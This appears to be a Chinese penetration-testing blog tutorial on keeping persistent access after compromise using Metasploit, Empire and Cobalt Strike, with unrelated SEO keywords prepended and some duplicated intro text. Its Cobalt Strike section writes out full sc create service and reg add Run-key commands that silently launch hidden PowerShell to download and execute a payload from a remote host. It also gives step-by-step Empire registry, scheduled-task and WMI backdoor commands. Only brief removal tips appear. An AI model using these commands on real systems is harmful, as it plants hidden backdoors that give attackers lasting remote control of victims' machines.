做cp和网站运营,一个公司完整的组织架构,西安网站建设iseeyu,邯郸城融网络技术有限公司0x00 前言
在渗透测试中#xff0c;有三个非常经典的渗透测试框架----Metasploit、Empire、Cobalt Strike。
那么#xff0c;通过漏洞获取到目标主机权限后#xff0c;如何利用框架获得持久性权限呢#xff1f;
0x01 MSF权限维持
使用MSF维持权限的前提是先获得一个met…0x00 前言
在渗透测试中有三个非常经典的渗透测试框架----Metasploit、Empire、Cobalt Strike。
那么通过漏洞获取到目标主机权限后如何利用框架获得持久性权限呢
0x01 MSF权限维持
使用MSF维持权限的前提是先获得一个meterpreter shell通过meterpreter shell获取持久性shell的方法有两种
Persistence模块
通过启动项启动(persistence)的方式在目标机器上以反弹回连。 -U设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。推荐使用该参数
-X设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限问题会导致添加失败后门将无法启动。
-S作为服务自动启动代理程序具有SYSTEM权限生成的相关文件位置
# 后门文件位置
C:\Windows\Temp
C:\Users\Administrator\AppData\Local\Temp
# 注册表位置
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Metsvc 模块
通过服务(metsvc)启动的方式在目标机器启动后自启动一个服务等待连接。 后门排查目标主机上开启了一个Meterpreter服务。 0x02 Empire 权限维持
Empire的persistence模块提供了18种权限维持的方法大致可以分为四类即 elevated管理权限misc杂项powerbreachuserland用户权限registry*add_netuserdeaduserbackdoor_lnkschtasks*add_sid_history*eventlog*registrywmi*debugger*resolverschtaskswmi_updater*disable_machine_acct_change*get_sspsinstall_ssp*memssp*skeleton_key*
注册表
(Empire: agents) agents
(Empire: agents) interact URL3FZBV
(Empire: URL3FZBV) usemodule persistence/elevated/registry*
(Empire: powershell/persistence/elevated/registry) set Listener test
(Empire: powershell/persistence/elevated/registry) execute因为是开机启动所以会弹个黑框之后还会弹出注册表添加的powershell启动项的框在注册表位置如下 计划任务
(Empire: agents) interact 9NZ2RWBC
(Empire: 9NZ2RWBC) usemodule persistence/elevated/schtasks*
(Empire: powershell/persistence/elevated/schtasks) set Listener test
(Empire: powershell/persistence/elevated/schtasks) set DailyTime 22:50
(Empire: powershell/persistence/elevated/schtasks) execute在任务计划程序库可以看到-任务为Updater-启动程序如下可以到为powershell wmi
(Empire: agents) interact 9NZ2RWBC
(Empire: 9NZ2RWBC) usemodule persistence/elevated/wmi
(Empire: powershell/persistence/elevated/wmi) set Listener test
(Empire: powershell/persistence/elevated/wmi) run如何清除后门最简单的方法就是使用Autoruns选择WMI选项卡右键就可以删除恶意后门。 0x03 Cobalt Strike权限维持
通过Cobalt Strike拿到一个shell留后门的方法有很多下面介绍两种比较常见的无文件、自启动后门。
从Cobalt Strike菜单栏Attacks--Web Drive-by--Scaripted Web Delivery生成powershell后门。 根据需要可以自己选择填写所需参数默认端口是80需要注意的就是不要使用重复端口Type选择powershell。 点击Launch后返回powershell远程下载执行命令。 服务自启动后门
sc create Name binpath cmd /c start powershell.exe -nop -w hidden -c \IEX ((new-object net.webclient).downloadstring(http://192.168.28.142:8080/a))\
sc description Name Just For Test //设置服务的描述字符串
sc config Name start auto //设置这个服务为自动启动
net start Name //启动服务重启服务器后成功返回一个shell。 注册表自启动
在windows启动项注册表里面添加一个木马程序路径如
beacongetsystem
beaconshell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Keyname /t REG_SZ /d C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \IEX ((new-object net.webclient).downloadstring(http://192.168.28.142:8080/a))\ /f 账号注销后重新登录界面上会出现powershell快速闪过消失成功返回shell。 注册表还有哪些键值可以设置为自启动
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon0x04 结束语
本文简单介绍了通过三大渗透框架进行权限维持的几种方法了解攻击者常用的渗透框架及后门技术有助于更好地去发现并解决服务器安全问题。
